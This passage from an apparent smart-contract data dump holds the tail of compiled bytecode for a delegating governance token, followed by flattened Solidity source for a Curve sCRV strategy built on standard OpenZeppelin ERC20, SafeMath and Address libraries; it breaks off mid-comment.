82611476565b50565b6001600160a01b039081166000908152600660205260409020541690565b6107df3382611572565b60086020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526020819052604090205490565b610845610b14565b610896576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60004382106109265760405162461bcd60e51b815260040180806020018281038252602f815260200180611c2f602f913960400191505060405180910390fd5b6001600160a01b03831660009081526008602052604090205463ffffffff16806109545760009150506106c4565b6001600160a01b038416600090815260076020908152604080832063ffffffff6000198601811685529252909120541683106109c3576001600160a01b03841660009081526007602090815260408083206000199490940163ffffffff168352929052206001015490506106c4565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff168310156109fe5760009150506106c4565b600060001982015b8163ffffffff168163ffffffff161115610ab757600282820363ffffffff16048103610a30611bf4565b506001600160a01b038716600090815260076020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610a92576020015194506106c49350505050565b805163ffffffff16871115610aa957819350610ab0565b6001820392505b5050610a06565b506001600160a01b038516600090815260076020908152604080832063ffffffff9094168352929052206001015491505092915050565b60096020526000908152604090205481565b60055461010090046001600160a01b031690565b60055460009061010090046001600160a01b0316610b30611139565b6001600160a01b031614905090565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106a25780601f10610677576101008083540402835291602001916106a2565b60006106c0610bad611139565b8461076985604051806060016040528060258152602001611ea46025913960016000610bd7611139565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61138516565b60006106c0610c1b611139565b8484611229565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610c4d576000610c7f565b6001600160a01b038316600090815260076020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b610c8e610b14565b610cdf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610ce76106ca565b15610d2d576040805162461bcd60e51b81526020600482015260116024820152701d1bdad95b88191a5cdd1c9a589d5d1959607a1b604482015290519081900360640190fd5b6a52b7d2dcc80cd2e4000000610d6484610d5f6064610d5385604b63ffffffff61160116565b9063ffffffff61165a16565b61169c565b610d7e83610d5f6064610d5385601463ffffffff61160116565b610d9882610d5f6064610d5385600563ffffffff61160116565b610da06106ca565b8114610de8576040805162461bcd60e51b81526020600482015260126024820152713a37ba30b610373ab6b132b91032b93937b960711b604482015290519081900360640190fd5b50505050565b60006040518080611d466043913960430190506040518091039020610e11610616565b80519060200120610e2061178c565b3060405160200180858152602001848152602001838152602001826001600160a01b03166001600160a01b0316815260200194505050505060405160208183030381529060405280519060200120905060006040518080611e3c603a91396040805191829003603a0182206020808401919091526001600160a01b038c1683830152606083018b905260808084018b90528251808503909101815260a08401835280519082012061190160f01b60c085015260c2840187905260e2808501829052835180860390910181526101028501808552815191840191909120600091829052610122860180865281905260ff8c1661014287015261016286018b905261018286018a9052935191965092945091926001926101a28083019392601f198301929081900390910190855afa158015610f5e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610fb05760405162461bcd60e51b815260040180806020018281038252602e815260200180611e76602e913960400191505060405180910390fd5b6001600160a01b0381166000908152600960205260409020805460018101909155891461100e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc8602a913960400191505060405180910390fd5b8742111561104d5760405162461bcd60e51b815260040180806020018281038252602e815260200180611d18602e913960400191505060405180910390fd5b611057818b611572565b505050505b505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60405180603a611e3c8239603a019050604051809103902081565b60076020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6110df610b14565b611130576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107df81611790565b3390565b6001600160a01b0383166111825760405162461bcd60e51b8152600401808060200182810382526024815260200180611e186024913960400191505060405180910390fd5b6001600160a01b0382166111c75760405162461bcd60e51b8152600401808060200182810382526022815260200180611ca66022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661126e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611df36025913960400191505060405180910390fd5b6001600160a01b0382166112b35760405162461bcd60e51b8152600401808060200182810382526023815260200180611c0c6023913960400191505060405180910390fd5b6112f681604051806060016040528060268152602001611cf2602691396001600160a01b038616600090815260208190526040902054919063ffffffff61138516565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461132b908263ffffffff61141c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156114145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113d95781810151838201526020016113c1565b50505050905090810190601f1680156114065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c7f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166114bb5760405162461bcd60e51b8152600401808060200182810382526021815260200180611dd26021913960400191505060405180910390fd5b6114fe81604051806060016040528060228152602001611c5e602291396001600160a01b038516600090815260208190526040902054919063ffffffff61138516565b6001600160a01b03831660009081526020819052604090205560025461152a908263ffffffff61183c16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038083166000908152600660205260408120549091169061159984610822565b6001600160a01b0385811660008181526006602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610de882848361187e565b600082611610575060006106c4565b8282028284828161161d57fe5b0414610c7f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d896021913960400191505060405180910390fd5b6000610c7f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119cc565b6001600160a01b0382166116f7576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60025461170a908263ffffffff61141c16565b6002556001600160a01b038216600090815260208190526040902054611736908263ffffffff61141c16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b4690565b6001600160a01b0381166117d55760405162461bcd60e51b8152600401808060200182810382526026815260200180611c806026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000610c7f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611385565b816001600160a01b0316836001600160a01b0316141580156118a05750600081115b156119c7576001600160a01b03831615611938576001600160a01b03831660009081526008602052604081205463ffffffff1690816118e0576000611912565b6001600160a01b038516600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b90506000611926828563ffffffff61183c16565b905061193486848484611a31565b5050505b6001600160a01b038216156119c7576001600160a01b03821660009081526008602052604081205463ffffffff1690816119735760006119a5565b6001600160a01b038416600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b905060006119b9828563ffffffff61141c16565b905061105c85848484611a31565b505050565b60008183611a1b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113d95781810151838201526020016113c1565b506000838581611a2757fe5b0495945050505050565b6000611a55436040518060600160405280603c8152602001611ec9603c9139611b96565b905060008463ffffffff16118015611a9e57506001600160a01b038516600090815260076020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611adb576001600160a01b038516600090815260076020908152604080832063ffffffff60001989011684529091529020600101829055611b4c565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600784528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260089092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b6000816401000000008410611bec5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113d95781810151838201526020016113c1565b509192915050565b60408051808201909152600080825260208201529056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373426d696e696e67546f6b656e3a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e656445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373426d696e696e67546f6b656e3a3a64656c656761746542795369673a20696e76616c6964206e6f6e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365426d696e696e67546f6b656e3a3a64656c656761746542795369673a207369676e61747572652065787069726564454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737344656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e743235362065787069727929426d696e696e67546f6b656e3a3a64656c656761746542795369673a20696e76616c6964207369676e617475726545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f426d696e696e67546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a265627a7a723158204bc29e99a47310e8fe1c4e6b54ee00965126ef6da8364059eea0e0edfc54f32d64736f6c63430005100032
[ 9 ]
0xf2064b7623ab5a7c6c4c3e726007c8355c59788f
// hevm: flattened sources of src/strategies/strategy-curve-scrv-v1.sol pragma solidity >=0.4.23 >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0; ////// src/interfaces/controller.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ interface IController { function jars(address) external view returns (address); function rewards() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } ////// src/interfaces/curve.sol /* pragma solidity ^0.6.2; */ interface ICurveFi { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address addr) external; function balanceOf(address arg0) external view returns (uint256); function withdraw(uint256 _value) external; function withdraw(uint256 _value, bool claim_rewards) external; function claim_rewards() external; function claim_rewards(address addr) external; function claimable_tokens(address addr) external returns (uint256); function claimable_reward(address addr) external view returns (uint256); function integrate_fraction(address arg0) external view returns (uint256); } interface ICurveMintr { function mint(address) external; function minted(address arg0, address arg1) external view returns (uint256); } ////// src/lib/safe-math.sol /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// src/lib/erc20.sol // File: contracts/GSN/Context.sol /* pragma solidity ^0.6.0; */ /* import "./safe-math.sol"; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for 